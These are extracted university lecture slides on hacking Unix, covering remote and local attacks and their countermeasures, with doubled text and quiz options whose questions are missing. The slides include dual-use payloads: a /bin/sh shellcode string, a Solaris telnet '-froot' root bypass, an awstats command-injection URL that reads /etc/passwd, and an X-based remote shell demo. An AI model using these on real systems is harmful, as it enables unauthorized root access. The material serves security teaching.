Chapter 5Chapter 5

Hacking UnixHacking Unix

Last modified 2-27-09 9 pm

Vulnerability MappingVulnerability Mapping

Listing aspects of the target system and Listing aspects of the target system and associated vulnerabilitiesassociated vulnerabilities– Online vulnerabilities like Bugtraq, CVE, Online vulnerabilities like Bugtraq, CVE,

security alerts, etc.security alerts, etc.– Use specialized exploit code to test specific Use specialized exploit code to test specific

vulnerabilitiesvulnerabilities– Automated vulnerability scanners like NessusAutomated vulnerability scanners like Nessus

CORE IMPACT DemoCORE IMPACT Demo

Link Ch 500Link Ch 500

Remote Access vs. Local Access Remote Access vs. Local Access

Attackers follow a logical progression:Attackers follow a logical progression:

First Remote AccessFirst Remote Access– Typically exploiting a vulnerability in a Typically exploiting a vulnerability in a

listening servicelistening service

Then gaining local shell access Then gaining local shell access – Local attacks are also called Local attacks are also called Privilege Privilege

Escalation AttacksEscalation Attacks

Remote AccessRemote Access

Remote AccessRemote Access

Four primary methodsFour primary methods– Exploiting a listening serviceExploiting a listening service– Routing through a UNIX system that is Routing through a UNIX system that is

providing security between two or more providing security between two or more networksnetworks

– User-initiated remote execution attacks (via a User-initiated remote execution attacks (via a hostile website, Trojan horse e-mail, etc.)hostile website, Trojan horse e-mail, etc.)

– Exploiting a process or program that has Exploiting a process or program that has placed the network interface card into placed the network interface card into promiscuous modepromiscuous mode

Exploit a listening service Exploit a listening service

Services that allow interactive logins can Services that allow interactive logins can obviously be exploitedobviously be exploited– telnet, ftp, rlogin, ssh, and otherstelnet, ftp, rlogin, ssh, and others

BIND is the most popular DNS server, and BIND is the most popular DNS server, and it has had many vulnerabilitiesit has had many vulnerabilities

If a service is not listening, it cannot be If a service is not listening, it cannot be broken into remotelybroken into remotely

Sniffing AttacksSniffing Attacks

What is your sniffing software (tcpdump or What is your sniffing software (tcpdump or some other) itself has vulnerabilities?some other) itself has vulnerabilities?

An attacker could inject code to attack the An attacker could inject code to attack the sniffersniffer

Brute-force Attacks Brute-force Attacks

Just guessing user IDs and passwords can get Just guessing user IDs and passwords can get you intoyou into– telnettelnet– File Transfer Protocol (FTP)File Transfer Protocol (FTP)– The "r" commands (rlogin, rsh, and so on)The "r" commands (rlogin, rsh, and so on)– Secure Shell (ssh)Secure Shell (ssh)– SNMP community namesSNMP community names– Post Office Protocol (POP) and Internet Message Post Office Protocol (POP) and Internet Message

Access Protocol (IMAP)Access Protocol (IMAP)– Hypertext Transport Protocol (HTTP/HTTPS)Hypertext Transport Protocol (HTTP/HTTPS)– And many othersAnd many others

The Joe AccountThe Joe Account

Collect user IDs with enumerationCollect user IDs with enumeration

Find an account with an identical user Find an account with an identical user name and passwordname and password– Those are called "Joe" accountsThose are called "Joe" accounts

Brute-force attack tool:Brute-force attack tool:– THC Hydra (link 501a)THC Hydra (link 501a)

Brute-force Attack Brute-force Attack CountermeasuresCountermeasures

Enforce strong passwordsEnforce strong passwordscracklibcracklib– Enforces strong passwords by comparing user Enforces strong passwords by comparing user

selected passwords to words in chosen word lists (link selected passwords to words in chosen word lists (link Ch 501) Ch 501)

npasswdnpasswd– A replacement for the passwd command A replacement for the passwd command

Secure Remote PasswordSecure Remote Password– A new mechanism for performing secure password-A new mechanism for performing secure password-

based authentication and key exchange over any type based authentication and key exchange over any type of network (links Ch 502-503)of network (links Ch 502-503)

OpenSSHOpenSSH– A telnet/ftp/rsh/login communication replacement with A telnet/ftp/rsh/login communication replacement with

encryption and RSA authenticationencryption and RSA authentication

Buffer Overflow Attacks Buffer Overflow Attacks

Can escalate privileges, or cause denial of Can escalate privileges, or cause denial of serviceservice– Example: Send 1000 characters to the Example: Send 1000 characters to the

VERIFY command of sendmailVERIFY command of sendmail– Include this shellcode, or egg:Include this shellcode, or egg:– char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\

x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

See the book "Gray Hat Hacking"See the book "Gray Hat Hacking"

Buffer Overflow: Project 11Buffer Overflow: Project 11

We run a vulnerable application through We run a vulnerable application through the debuggerthe debugger

Registers appear at the topRegisters appear at the top– eip is Extended Instruction Pointer --the next eip is Extended Instruction Pointer --the next

instruction to be processedinstruction to be processed– Compare to assembly code at bottomCompare to assembly code at bottom

Debugger Showing an Debugger Showing an Application Running NormallyApplication Running Normally

Controlled Buffer OverflowControlled Buffer Overflow

By injecting just the right string, we can fill By injecting just the right string, we can fill the buffer with A characters (hex 41), then the buffer with A characters (hex 41), then 4 B's (hex 42), and finally 4 C's (hex 43) 4 B's (hex 42), and finally 4 C's (hex 43) which precisely hit the eipwhich precisely hit the eip

This shows control of the overflowThis shows control of the overflow

The next step would be to inject an egg The next step would be to inject an egg and gain remote control (we won't go that and gain remote control (we won't go that far in project 11)far in project 11)

Controlled Buffer Overflow Controlled Buffer Overflow Overwrites the eipOverwrites the eip

Buffer Overflow Attack Buffer Overflow Attack Countermeasures Countermeasures

Secure Coding PracticesSecure Coding Practices – Secure program designSecure program design– Use Stack Smashing Protector in gccUse Stack Smashing Protector in gcc– Validate arguments when received from a Validate arguments when received from a

user or program user or program – Use more secure routines, such as fgets(), Use more secure routines, such as fgets(),

strncpy(), and strncat()strncpy(), and strncat()– Reduce the amount of code that runs with Reduce the amount of code that runs with

root privileges root privileges – Above all, apply all relevant vendor security Above all, apply all relevant vendor security

patches patches

Buffer Overflow Attack Buffer Overflow Attack CountermeasuresCountermeasures

Test and Audit Each Program Test and Audit Each Program – OpenBSD does this thoroughlyOpenBSD does this thoroughly

Disable Unused or Dangerous Services Disable Unused or Dangerous Services – TCP Wrappers allows access controls on a per-TCP Wrappers allows access controls on a per-

service basisservice basis– Packet filtering with ipchains (link Ch 504)Packet filtering with ipchains (link Ch 504)

Disable Stack Execution Disable Stack Execution – The GRSecurity patch provides this for Linux, and The GRSecurity patch provides this for Linux, and

many other features (link Ch 505)many other features (link Ch 505)– Stack execution is disabled by default in Solaris (link Stack execution is disabled by default in Solaris (link

Ch 506)Ch 506)

Format String AttacksFormat String Attacks

This statement prints the variable buf as a This statement prints the variable buf as a stringstring– printf("%s", buf) printf("%s", buf)

But some programmers omit the format But some programmers omit the format stringstring– printf(buf)printf(buf)

A user could add format strings to the A user could add format strings to the variable, gaining read/write access to variable, gaining read/write access to memory locationsmemory locationsThis is as dangerous as a buffer overflowThis is as dangerous as a buffer overflow

Format String Attack Format String Attack Countermeasures Countermeasures

FormatGuard for Linux changes the printf FormatGuard for Linux changes the printf library to prevent format string attackslibrary to prevent format string attacks

Secure programming and code auditsSecure programming and code audits

A. No effectB. Arbitrary code executionC. Denial of ServiceD. Exposure of confidential dataE. Remote shell access

A. Exploiting a listening serviceB. Routing through a UNIX system that is providing

security between two or more networksC. User-initiated remote execution attacks (via a

hostile website, Trojan horse e-mail, etc.)D. Exploiting a process or program that has placed

the network interface card into promiscuous mode

E. None of the above

A. Buffer overflowB. SniffingC. Format stringD. Privilege escalationE. Denial of Service

Input Validation Attacks Input Validation Attacks

Solaris 10 in 2007 had a vulnerability in telnetSolaris 10 in 2007 had a vulnerability in telnet– telnet -l "-froot" 192.168.1.101telnet -l "-froot" 192.168.1.101

Would grant root access on the server with no Would grant root access on the server with no password requiredpassword required– Link Ch 513Link Ch 513

Input Validation AttacksInput Validation Attacks

These attacks work when user-supplied These attacks work when user-supplied data is not tested and cleaned before data is not tested and cleaned before executionexecution

Black list validation Black list validation tries to exclude tries to exclude known malicious inputknown malicious input

– Not recommendedNot recommended

White list validation White list validation allows only known allows only known good inputgood input

– RecommendedRecommended

Integer Overflow and Integer Sign Integer Overflow and Integer Sign Attacks Attacks

An integer variable can only handle values An integer variable can only handle values up to a maximum size, such as 32,767 up to a maximum size, such as 32,767

If you input a larger number, like 60,000, If you input a larger number, like 60,000, the computer misinterprets it as a different the computer misinterprets it as a different number like -5536number like -5536

Vulnerable programs can be tricked into Vulnerable programs can be tricked into accepting large amounts of data, accepting large amounts of data, bypassing the data validationbypassing the data validation

That can allow a buffer overflowThat can allow a buffer overflow

Integer Overflow Attack Integer Overflow Attack CountermeasuresCountermeasures

The same as buffer overflows: secure The same as buffer overflows: secure programming practicesprogramming practices

I Want My ShellI Want My Shell

Remote Command ExecutionRemote Command Execution

After the attacker finds a vulnerability on a After the attacker finds a vulnerability on a machine with a listening processmachine with a listening process– Such as a Web serverSuch as a Web server

Commands can be executed on that box, Commands can be executed on that box, with a URL like thiswith a URL like thishttp://targetIP/awstats/awstats.pl?http://targetIP/awstats/awstats.pl?configdir=|echo%20;echo%20;catconfigdir=|echo%20;echo%20;cat%20;/etc/passwd;echo%20;echo%20;/etc/passwd;echo%20;echo

– This executes cat /etc/passwdThis executes cat /etc/passwd

DMZDMZ

Image from Ciampa's Security+ textImage from Ciampa's Security+ text

Reverse telnet and Back ChannelsReverse telnet and Back ChannelsAttacker

Type commands in upper window

See results in lower window

Target

(this command would be remotely executed through a vulnerability in a real

attack)

Reverse telnet and Back ChannelsReverse telnet and Back Channels

The effect of this is to use telnet to grant The effect of this is to use telnet to grant control of the machine to another machinecontrol of the machine to another machine

This is the opposite of the usual use of This is the opposite of the usual use of telnet, so it's called "reverse telnet" and a telnet, so it's called "reverse telnet" and a "back channel""back channel"

Back-Channel CountermeasuresBack-Channel Countermeasures

Prevent attackers from getting root in the Prevent attackers from getting root in the first placefirst placeRemove X from high-security systemsRemove X from high-security systemsRun web server as "nobody" and deny Run web server as "nobody" and deny "nobody" execute permission for telnet "nobody" execute permission for telnet – chmod 750 telnetchmod 750 telnet

Some firewalls may let you block Some firewalls may let you block connections from the Web server or connections from the Web server or internal systemsinternal systems

Common Types of Remote Attacks Common Types of Remote Attacks

FTPFTP

sendmailsendmail

Remote Procedure Remote Procedure Call ServicesCall Services

SNMP Buffer SNMP Buffer OverclowOverclow

NFSNFS

X InsecuritiesX Insecurities

DNSDNS

SSHSSH

OpenSSLOpenSSL

ApacheApache

Promiscuous-Mode Promiscuous-Mode AttacksAttacks

FTP FTP

Unfortunately, still widely used to upload Unfortunately, still widely used to upload and download filesand download filesWidely used by pirates to store illegal filesWidely used by pirates to store illegal files

See link Ch 511See link Ch 511

FTPFTP

FTP servers sometimes allow anonymous FTP servers sometimes allow anonymous users to upload filesusers to upload files

May allow directory traversalMay allow directory traversal

FTP servers also have buffer overflow and FTP servers also have buffer overflow and other vulnerabilitiesother vulnerabilities– Example: "site exec" format string vulnerability Example: "site exec" format string vulnerability

in wu-ftp allows arbitrary code execution as in wu-ftp allows arbitrary code execution as rootroot

FTP Countermeasures FTP Countermeasures

Avoid FTP if possibleAvoid FTP if possible

Patch the FTP server Patch the FTP server

Eliminate or reduce the number of world-Eliminate or reduce the number of world-writable directories in use writable directories in use

sendmail sendmail

sendmail is a mail transfer agent (MTA) sendmail is a mail transfer agent (MTA) that is used on many UNIX systems that is used on many UNIX systems

It has a long history of many vulnerabilitiesIt has a long history of many vulnerabilities

sendmail Countermeasures sendmail Countermeasures

Disable sendmail if you are not using itDisable sendmail if you are not using it

Use the latest version with all patchesUse the latest version with all patches

Additional utilities can improve its securityAdditional utilities can improve its security

Consider using a more secure MTA such Consider using a more secure MTA such as qmail or postfix as qmail or postfix

Remote Procedure Call Services Remote Procedure Call Services

Unfortunately, numerous stock versions of Unfortunately, numerous stock versions of UNIX have many RPC services enabled UNIX have many RPC services enabled upon bootupupon bootup

Many of the RPC services are extremely Many of the RPC services are extremely complex and run with root privileges, complex and run with root privileges, including rpc.ttdbserverd and rpc.cmsd including rpc.ttdbserverd and rpc.cmsd

They can be exploited to gain remote root They can be exploited to gain remote root shells shells

Remote Procedure Call Services Remote Procedure Call Services Countermeasures Countermeasures

Disable any RPC service that is not absolutely Disable any RPC service that is not absolutely necessary necessary

Consider implementing an access control device Consider implementing an access control device that only allows authorized systems to contact that only allows authorized systems to contact RPC ports (difficult)RPC ports (difficult)

Enable a nonexecutable stack Enable a nonexecutable stack

Use Secure RPC if possibleUse Secure RPC if possible– Preovides an additional level of authentication based Preovides an additional level of authentication based

on public-key cryptography, but causes on public-key cryptography, but causes interoperability problemsinteroperability problems

SNMP Buffer Overflow SNMP Buffer Overflow

Simple Network Management Protocol Simple Network Management Protocol (SNMP) is widely used to remotely (SNMP) is widely used to remotely manage devices (routers, switches, manage devices (routers, switches, servers, and so on) servers, and so on)

It's not very secure in the first placeIt's not very secure in the first place

It's had buffer overflow vulnerabilitiesIt's had buffer overflow vulnerabilities

Exploits can allow DoS or remote Exploits can allow DoS or remote command executioncommand execution

SNMP Buffer Overflow SNMP Buffer Overflow Countermeasures Countermeasures

Use SNScan from Foundstone to find Use SNScan from Foundstone to find devices with SNMP enableddevices with SNMP enabledDisable SNMP on Disable SNMP on anyany device that does device that does not explicitly require itnot explicitly require itApply all patches & update firmwareApply all patches & update firmwareChange the default public and private Change the default public and private community stringscommunity stringsUse network filtering to limit access to Use network filtering to limit access to management stations management stations

A. Buffer overflowB. Integer overflowC. Format stringD. Privilege escalationE. Back channel

#include <stdio.h>

main(){char name[1000];printf("What is your name?");scanf("%1000s",name);printf(name);}

A. Strong passwordsB. White list validationC. Black list validationD. Address Space Layout

RandomizationE. TCP Wrappers

A. RPCB. SNMPC. FTPD. TelnetE. DMZ

A. Buffer overflowB. Integer overflowC. Format stringD. Privilege escalationE. None

#include <stdio.h>

main(){char name[1000];printf("What is your name?");scanf("%s",name);printf("Hello %s\n",name);}

A. Yes, a lot better! Keep using them.B. A little betterC. No differenceD. A little worseE. I hate the iClickers. Quit using

them.

Review - start of part 2

A. Buffer overflowB. Brute forceC. Exploiting a listening service on

an open portD. Exploiting a promiscuous NICE. Trojan

1 of 3

A. Buffer overflowB. Brute forceC. Exploiting a listening service on

an open portD. Exploiting a promiscuous NICE. Trojan

2 of 3

A. SNMPB. SendmailC. RPCD. FTPE. Back channel

3 of 3

NFS NFS

Network File System (NFS) allows Network File System (NFS) allows transparent access to files and directories transparent access to files and directories of remote systems as if they were stored of remote systems as if they were stored locally locally

Many buffer overflow conditions related to Many buffer overflow conditions related to mountdmountd, the NFS server, have been , the NFS server, have been discovereddiscovered

Poorly configured NFS exports the file Poorly configured NFS exports the file system to everyone system to everyone

Using rpcinfo to Find NFSUsing rpcinfo to Find NFS

By querying the By querying the portmapper, we portmapper, we can see that can see that mountd and the mountd and the NFS server are NFS server are running running

showmountshowmount

showmount indicates that the root / showmount indicates that the root / and /usr are exported to everyoneand /usr are exported to everyone

A huge security risk, but often done by A huge security risk, but often done by lazy administratorslazy administrators– Exploiting NFS systems is made easier with Exploiting NFS systems is made easier with

the nfsshell tool (link Ch 512)the nfsshell tool (link Ch 512)

NFS Countermeasures NFS Countermeasures

Disable NFS if it's not neededDisable NFS if it's not neededImplement client and user access controls to Implement client and user access controls to allow only authorized users to access required allow only authorized users to access required filesfilesOnly export certain directories, like /etc/exports Only export certain directories, like /etc/exports or /etc/dfs/dfstab or /etc/dfs/dfstab Never include the server's local IP address, or Never include the server's local IP address, or localhost,localhost, in the list of systems allowed to mount in the list of systems allowed to mount the file system the file system – That allows an attack which bypasses access control, That allows an attack which bypasses access control,

like XSSlike XSS

X Insecurities X Insecurities

The X Window System allows many The X Window System allows many programs to share a single graphical programs to share a single graphical display display X clients can X clients can – Capture the keystrokes of the console userCapture the keystrokes of the console user– Kill windowsKill windows– Capture windows for display elsewhereCapture windows for display elsewhere– Remap the keyboard to issue nefarious Remap the keyboard to issue nefarious

commands no matter what the user types commands no matter what the user types

X DemonstrationX Demonstration

Use two Ubuntu Use two Ubuntu VMsVMs

On each:On each:

1. 1. Click System-Click System->Administration->Login >Administration->Login Window (it is slow)Window (it is slow)

2. Under the security tab 2. Under the security tab uncheck "Deny TCP uncheck "Deny TCP connections to Xserver"connections to Xserver"

3. Log out and log in again3. Log out and log in again

Steps for DemoSteps for Demo

On attacker machine:On attacker machine:xhost xhost ++

– Allows any IP to open a session on the attacker's X Allows any IP to open a session on the attacker's X serverserver

On target machine:On target machine:xterm –display xterm –display 192.168.1.81:0192.168.1.81:0

Replace Replace 192.168.1.81 192.168.1.81 with attacker's IPwith attacker's IP– This opens a terminal on the attacker's systemThis opens a terminal on the attacker's system

On attacker machine: On attacker machine: xxhost host -- will stop the will stop the connectionconnection

X Used for Remote ShellX Used for Remote Shell

Attacker Target

xhostxhost

The simplest and most popular form of X The simplest and most popular form of X access control is xhost authentication access control is xhost authentication – xhost 192.168.11.3xhost 192.168.11.3

Allows just that one host to connectAllows just that one host to connect

– xhost +xhost +Allows all IP addresses to connectAllows all IP addresses to connect

X snooping toolsX snooping tools

xscan is a tool that can scan an entire xscan is a tool that can scan an entire subnet looking for an open X server and subnet looking for an open X server and log all keystrokes to a log file log all keystrokes to a log file

xwatchwin even lets you see the windows xwatchwin even lets you see the windows users have openusers have open

Attackers can also send keystrokes to any Attackers can also send keystrokes to any windowwindow

X CountermeasuresX Countermeasures

Resist the temptation to issue the xhost + Resist the temptation to issue the xhost + command command

Other security measures include using more Other security measures include using more advanced authentication mechanisms such as advanced authentication mechanisms such as MIT-MAGIC-COOKIE-1, XDM-MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1, and MIT-KERBEROS-5 AUTHORIZATION-1, and MIT-KERBEROS-5

Consider using ssh and its tunneling Consider using ssh and its tunneling functionality for enhanced security during your X functionality for enhanced security during your X sessions sessions

Domain Name System (DNS) Domain Name System (DNS) Hijinks Hijinks

DNS is one of the few services that is DNS is one of the few services that is almost always required and running on an almost always required and running on an organization's Internet perimeter network organization's Internet perimeter network

The most common implementation of DNS The most common implementation of DNS for UNIX is the Berkeley Internet Name for UNIX is the Berkeley Internet Name Domain (BIND) package Domain (BIND) package

BIND vulnerabilitiesBIND vulnerabilities

Buffer overflows in BIND can be exploited Buffer overflows in BIND can be exploited by malformed responses to DNS queriesby malformed responses to DNS queries

That gives attackers some degree of That gives attackers some degree of remote control over the server, although remote control over the server, although not a true shellnot a true shell

DNS Cache PoisoningDNS Cache Poisoning

In 2008, Dan Kaminsky In 2008, Dan Kaminsky revealed a serious DNS revealed a serious DNS cache poisoning cache poisoning vulnerabilityvulnerability– He was able to change DNS He was able to change DNS

records on real Internet records on real Internet routers with itrouters with it

– It was patched secretly It was patched secretly before the bug was revealedbefore the bug was revealed

Link Ch 514Link Ch 514

DNS Countermeasures DNS Countermeasures

Disable BIND if you aren't using itDisable BIND if you aren't using itPatch & update BINDPatch & update BINDRun the BIND daemon "named" as an Run the BIND daemon "named" as an unprivileged userunprivileged userRun BIND from a chroot jailRun BIND from a chroot jail– Prevents an attacker from traversing your systemPrevents an attacker from traversing your system

Use djbdns, a secure, fast, and reliable Use djbdns, a secure, fast, and reliable replacement for BINDreplacement for BIND– BUT a vulnerability was just found in it on 2-27-09 BUT a vulnerability was just found in it on 2-27-09

(link Ch 515 in the Unsorted Links) (link Ch 515 in the Unsorted Links)

SSH Insecurities SSH Insecurities

SSH is widely used as a secure alternative SSH is widely used as a secure alternative to telnetto telnet

But there are integer overflows and other But there are integer overflows and other problems in some SSH packages which problems in some SSH packages which can be exploited, granting remote root can be exploited, granting remote root accessaccess

SSH Countermeasures SSH Countermeasures

Run patched versions of the SSH client Run patched versions of the SSH client and serverand server

Consider using the privilege separation Consider using the privilege separation feature, which creates a non-privileged feature, which creates a non-privileged environment for the sshd to run in (a environment for the sshd to run in (a chroot jail)chroot jail)

OpenSSL Overflow Attacks OpenSSL Overflow Attacks

OpenSSL is an open-source OpenSSL is an open-source implementation of Secure Socket Layer implementation of Secure Socket Layer (SSL) and is present in many versions of (SSL) and is present in many versions of UNIX UNIX

It had a famous buffer overflow It had a famous buffer overflow vulnerability that was exploited by the vulnerability that was exploited by the Slapper wormSlapper worm

OpenSSL Countermeasures OpenSSL Countermeasures

Apply the appropriate patches and Apply the appropriate patches and upgrade to OpenSSL upgrade to OpenSSL

Disable SSLv2 if it is not needed Disable SSLv2 if it is not needed

Apache Attacks Apache Attacks

Apache is the most prevalent web server Apache is the most prevalent web server on the planeton the planet

In earlier versions, a serious vulnerability In earlier versions, a serious vulnerability occurred in the way Apache handled occurred in the way Apache handled invalid requests that were chunk-encodedinvalid requests that were chunk-encoded– Chunk encoding sends an HTTP message in Chunk encoding sends an HTTP message in

a series of chunksa series of chunks– This attack gave the attacker unprivileged This attack gave the attacker unprivileged

access to the serveraccess to the server

Apache Countermeasures Apache Countermeasures

Use latest version & apply patchesUse latest version & apply patches

Promiscuous-Mode Attacks Promiscuous-Mode Attacks

Network-sniffing programs such as Network-sniffing programs such as tcpdump, Snort, and snoop allow system tcpdump, Snort, and snoop allow system and network administrators to view the and network administrators to view the traffic that passes across their network traffic that passes across their network Intrusion detection systems are based on Intrusion detection systems are based on sniffingsniffingBut sniffers usually run as rootBut sniffers usually run as rootAnd the sniffers themselves have And the sniffers themselves have vulnerabilitiesvulnerabilities

Promiscuous-Mode Attacks Promiscuous-Mode Attacks Countermeasures Countermeasures

Run latest versions of sniffers, and patch Run latest versions of sniffers, and patch themthem

Consider putting the network card that is Consider putting the network card that is capturing hostile traffic into "stealth mode"capturing hostile traffic into "stealth mode"– The network interface card is in promiscuous The network interface card is in promiscuous

mode but does not have an actual IP addressmode but does not have an actual IP address– That way it cannot connect back to an That way it cannot connect back to an

attacker even if it is compromised attacker even if it is compromised

A. NFSB. X windowsC. ApacheD. BindE. SSH

1 of 3

A. NFSB. X windowsC. ApacheD. BindE. SSH

2 of 3

A. NFSB. X windowsC. ApacheD. BindE. SSH

3 of 3

Local Access Local Access

Password Composition Password Composition Vulnerabilities Vulnerabilities

If passwords are poorly chosen, they can If passwords are poorly chosen, they can be cracked by dictionary or brute-force be cracked by dictionary or brute-force attacksattacks

Tools: Crack, John the RipperTools: Crack, John the Ripper

Countermeasures: strong passwordsCountermeasures: strong passwords

Local Buffer Overflow Local Buffer Overflow

A popular way to get A popular way to get root accessroot access

Run a system Run a system process, and trick it process, and trick it into running shell into running shell code while it is code while it is privilegedprivileged

Countermeasures: Countermeasures: secure coding & secure coding & nonexecutable stacknonexecutable stack

Symlink Symlink

Programs often create temporary files in Programs often create temporary files in /tmp /tmp An attacker can insert "symbolic links" An attacker can insert "symbolic links" (Windows calls them (Windows calls them shortcutsshortcuts) into this ) into this folderfolderTricking a program into referencing some Tricking a program into referencing some other file, like /etc/passwd, during other file, like /etc/passwd, during executionexecution– This can give a user inappropriate access to This can give a user inappropriate access to

filesfiles

Symlink Countermeasures Symlink Countermeasures

Secure coding Secure coding practices practices – Check to see if a file Check to see if a file

exists before trying to exists before trying to create one create one

To see how common To see how common /tmp files are, execute /tmp files are, execute these commandsthese commandscd /sbincd /sbin

strings * | grep tmp strings * | grep tmp

Race Conditions Race Conditions

Attacker times the attack to abuse a Attacker times the attack to abuse a process after it enters a privileged mode process after it enters a privileged mode but before it gives up its privileges but before it gives up its privileges

When it works, it's called "winning the When it works, it's called "winning the race" race"

Signal-Handling Issues Signal-Handling Issues

SignalsSignals are used in UNIX used to notify a are used in UNIX used to notify a process that some particular condition has process that some particular condition has occurred and provide a mechanism to occurred and provide a mechanism to handle asynchronous events handle asynchronous events – Like InterruptsLike Interrupts– Ctrl+Z sends a signal to suspend a running Ctrl+Z sends a signal to suspend a running

programprogram

Attackers can use these signals to stop a Attackers can use these signals to stop a process while it is elevatedprocess while it is elevated

Signal-Handling Countermeasures Signal-Handling Countermeasures

It's up to the programmersIt's up to the programmers

Reduce the number of SUID files on each Reduce the number of SUID files on each systemsystem– Files that run as super-userFiles that run as super-user

Apply all relevant vendor-related security Apply all relevant vendor-related security patches patches

Core File Manipulation Core File Manipulation

Get a program to dump the coreGet a program to dump the core

Look in the core for password hashes and Look in the core for password hashes and other confidential dataother confidential data

Countermeasures:Countermeasures:– Turn off core dumpsTurn off core dumps– Inconvenient for the administratorsInconvenient for the administrators

Shared Libraries Shared Libraries

Shared libraries are used by many Shared libraries are used by many programsprograms– In the Windows world, these are DLL filesIn the Windows world, these are DLL files

If an attacker can redirect library calls to If an attacker can redirect library calls to an altered library, they can compromise an altered library, they can compromise many programs at oncemany programs at once

Kernel Flaws Kernel Flaws

The UNIX kernel is the core component of The UNIX kernel is the core component of the operating system that enforces the the operating system that enforces the overall security model of the system overall security model of the system – Honoring file and directory permissionsHonoring file and directory permissions– Escalation and relinquishment of privileges Escalation and relinquishment of privileges

from SUID filesfrom SUID files– How the system reacts to signalsHow the system reacts to signals

The kernel itself has flaws The kernel itself has flaws

Kernel Flaws Countermeasures Kernel Flaws Countermeasures

Apply patches to the kernel promptlyApply patches to the kernel promptly

System Misconfiguration System Misconfiguration

File and Directory Permissions File and Directory Permissions

In UNIX, everything is a fileIn UNIX, everything is a file– binary executablesbinary executables– text-based configuration filestext-based configuration files– devices devices

SUID FilesSUID Files

Set user ID (SUID) and set group ID Set user ID (SUID) and set group ID (SGID) root files are very dangerous(SGID) root files are very dangerous

Sloppy programmers use SUID when it's Sloppy programmers use SUID when it's not really necessarynot really necessary

To see all the SUID files:To see all the SUID files:find / -type f -perm -04000 -ls find / -type f -perm -04000 -ls

SUID files on Ubuntu andLinuxSUID files on Ubuntu andLinux

After Hacking Root After Hacking Root

Attackers will install a Rootkit, with these Attackers will install a Rootkit, with these itemsitems– TrojansTrojans– BackdoorsBackdoors– SniffersSniffers– Log cleanersLog cleaners

A. SymlinkB. Race conditionC. Signal-handlingD. Core fileE. Shared libraries

1 of 3

A. Buffer overflowB. SymlinkC. Race conditionD. Kernel flawsE. SUID files

2 of 3

A. Buffer overflowB. SymlinkC. Race conditionD. Signal-handlingE. Shared libraries

3 of 3